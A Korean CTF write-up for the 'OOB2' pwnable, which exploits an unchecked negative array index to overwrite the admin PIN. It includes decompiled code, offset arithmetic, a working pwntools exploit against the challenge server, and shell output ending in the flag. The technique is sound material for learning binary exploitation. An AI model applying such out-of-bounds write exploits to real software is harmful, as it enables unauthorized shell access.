OOB2

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int UID; // [rsp+Ch] [rbp-14h] BYREF
  int PINCODE; // [rsp+10h] [rbp-10h] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  set_admin_pincode();
  for ( i = 0; ; ++i )
  {
    if ( i > 2 )
      return 0;
    printf("User ID: ");
    __isoc99_scanf("%d", &UID);
    if ( UID > 3 )
    {
      puts("non-existed ID!\n");
      continue;
    }
    printf("Nickname: ");
    __isoc99_scanf("%7s", 8LL * UID + 0x6010C0);
    printf("PIN: ");
    __isoc99_scanf("%u", &PINCODE);
    printf("Logging as [%s] ... ", (8LL * UID + 0x6010C0));
    if ( pincode[UID] == PINCODE )
      break;
    puts("Failed\nIncorrect PIN code!\n");
  }
  puts("Ok!\n");
  if ( UID )
    puts("## Nothing here ##");
  else
    execve("/bin/sh", 0LL, 0LL);
  return 0;
}
```

사용자로부터 UID를 입력받고 PINCODE와 비교해 검증하는 코드이다.
음수 인덱스에 대한 예외처리가 되어 있지 않고 입력 기회는 두 번 주어진다는 것이 특징이다.
마지막 조건문을 보면 UID가 0일 때 즉, admin일 때 셸을 획득할 수 있다.

```
unsigned __int64 set_admin_pincode()
{
  int buf; // [rsp+0h] [rbp-10h] BYREF
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  pincode[0] = buf;
  return __readfsqword(0x28u) ^ v3;
}
```

admin의 `pincode`를 설정하는 부분이다.
랜덤으로 정해진 값을 4바이트만큼 `pincode[0]`에 저장한다. 이 때 4바이트만큼만 저장한다는 것에 주의해야 한다.

```
.data:00000000006010A0 pincode         dd 0                    ; DATA XREF: set_admin_pincode+51↑w
.data:00000000006010A0                                         ; main+102↑r
.data:00000000006010A4                 db  67h ; g
```

```
.data:00000000006010C0                  public user
.data:00000000006010C0 user             db 'admin',0
.data:00000000006010C6                  align 8
.data:00000000006010C8 aAlice           db 'alice',0
.data:00000000006010CE                  align 10h
.data:00000000006010D0 aBob             db 'bob',0
.data:00000000006010D4                  align 8
.data:00000000006010D8 aGuest           db 'guest',0
.data:00000000006010DE                  align 20h
```

변수들의 주소를 보면 pincode의 주소가 `0x6010A0`이고, 사용자가 컨트롤할 수 있는 user의 주소가 `0x6010C0`이라는 것을 알 수 있다.

```
>>> (0x6010A0-0x6010C0)//8
-4
```

8바이트 배열이라는 점에 유의하여 (// 8)을 해보면 입력해야 할 인덱스가 `-4`라는 것을 알 수 있다.

앞서 입력할 두 번의 기회가 있다고 했었다.
첫 기회에 ID를 -4로 주어 pincode를 조작하고 다음 기회에 ID를 0으로 하여 pincode를 맞추면 될 것 같다.

Exploit

```
from pwn import *

# p = process("./OOB2")
p = remote("realsung.kr", 10019)
# context.log_level = 'debug'

PINCODE = b"aaaa"

p.recvuntil(b"ID: ")
p.sendline('-4')

p.recvuntil(b"name: ")
p.sendline(PINCODE)

p.recvuntil(b"PIN: ")
p.sendline(b"0000001")

p.recvuntil(b"ID: ")
p.sendline(b'0')

p.recvuntil(b"name: ")
p.sendline(b'admin')

p.recvuntil(b"PIN: ")
p.send(str(int(0x61616161)))
p.interactive()
```

`if ( pincode[UID] == PINCODE )`와 같이 `pincode[0]` 즉, 4바이트 크기만 비교하기 때문에 나머지 원소의 값을 알 필요는 없다.
`send()`를 할 때 입력을 `%u`로 받아서 `str(int())`와 같이 보냈어야 됐는데 이걸 헷갈려서 좀 헤맸다.

```
$ python3 oob2_pay.py
[+] Opening connection to realsung.kr on port 10019: Done
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{OOOOOOB!!!}
```